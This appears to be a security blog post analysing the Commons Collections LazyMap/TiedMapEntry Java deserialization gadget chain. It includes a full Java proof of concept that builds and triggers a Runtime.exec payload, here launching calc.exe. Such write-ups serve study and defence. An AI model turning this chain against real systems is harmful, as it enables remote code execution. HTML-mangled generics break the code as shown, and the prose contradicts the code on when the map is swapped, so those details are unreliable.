Analyzing the Apache Commons Collections LazyMap Deserialization Gadget Chain

Core Mechanism and Call Flow

The sixth widely recognized gadget chain in Apache Commons Collections exploits the interplay between LazyMap and TiedMapEntry to achieve arbitrary code execution during Java object deserialization. Unlike earlier implementations that rely on JDK-specific quirks or dynamic proxies, this path leverages standard collection hashing behaviors, granting it broad compatibility across runtime environments.

Exploitation begins inside the LazyMap class. Its get() method automatically routes unregistered keys through a configured Transformer pipeline. To reach this entry point, we trace the dependency chain backward:

  • TiedMapEntry.getValue() delegates to map.get(entry.getKey()).
  • If the encapsulated map is a LazyMap, the transformer executes immediately.
  • TiedMapEntry.hashCode() calls getValue() to compute a consistant hash representation.
  • HashMap.put() invokes hashCode() on every key before bucket insertion.
  • HashMap.readObject() reconstructs entries during deserialization, triggering put().

This routing ensures the chain activates purely through standard API contracts, eliminating heavy JDK version dependencies.

Deferring Execution Untill Deserialization

A structural limitation exists when building this payload: calling HashMap.put() with a fully wired TiedMapEntry causes immediate execution. To bypass premature activation, we construct the hash map with a placeholder map, perform serialization, and then use reflection to swap the internal map reference after the object graph has been persisted. The payload only executes when readObject() recreates the hash table.

Refined Payload Implementation

The following example demonstrates the delayed initialization technique. Variable identifiers have been updated, and the reflection injection is positioned after container population to prevent early firing.

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.keyvalue.TiedMapEntry;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class LazyMapChainExecutor {
    public static void main(String[] args) throws Exception {
        // 1. Assemble the transformation stages
        Transformer[] execStages = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer(
                "getMethod", 
                new Class[]{String.class, Class[].class}, 
                new Object[]{"getRuntime", new Class[0]}),
            new InvokerTransformer(
                "invoke", 
                new Class[]{Object.class, Object[].class}, 
                new Object[]{null, new Object[0]}),
            new InvokerTransformer(
                "exec", 
                new Class[]{String.class}, 
                new Object[]{"calc.exe"})
        };
        
        ChainedTransformer executionPipeline = new ChainedTransformer(execStages);

        // 2. Attach the pipeline to a LazyMap wrapper
        Map<object object=""> rawBackingStore = new HashMap<>();
        LazyMap deferredDispatcher = (LazyMap) LazyMap.decorate(rawBackingStore, executionPipeline);

        // 3. Instantiate TiedMapEntry with a benign container
        TiedMapEntry entryNode = new TiedMapEntry(new HashMap<>(), "dispatch_key");

        // 4. Build the primary hash map and insert the entry
        HashMap<object object=""> serializationGraph = new HashMap<>();
        serializationGraph.put(entryNode, "initial_value");

        // 5. Replace the backing map via reflection after put() completes
        Field internalMapField = TiedMapEntry.class.getDeclaredField("map");
        internalMapField.setAccessible(true);
        internalMapField.set(entryNode, deferredDispatcher);

        // 6. Serialize the modified object graph
        try (FileOutputStream fos = new FileOutputStream("gadget_data.ser")) {
            ObjectOutputStream streamWriter = new ObjectOutputStream(fos);
            streamWriter.writeObject(serializationGraph);
        }

        // 7. Deserialize to trigger the gadget chain
        try (FileInputStream fis = new FileInputStream("gadget_data.ser")) {
            ObjectInputStream streamReader = new ObjectInputStream(fis);
            streamReader.readObject();
        }
    }
}</object></object>

By initializing the TiedMapEntry with a standard HashMap and injecting the malicious LazyMap afterward, the initial put() operation encounters a neutral transformer. Serialization proceeds safely. During deserialization, the reconstructed hash map recalculates key hashes, forcing TiedMapEntry.hashCode() to access the swapped dispatcher. The key flows through the chained transformers, instantiating Runtime and executing the specified process.

Tags: commons-collections java-deserialization lazy-map tied-map-entry java-security

Posted on Mon, 20 Jul 2026 17:08:40 +0000 by tmharrison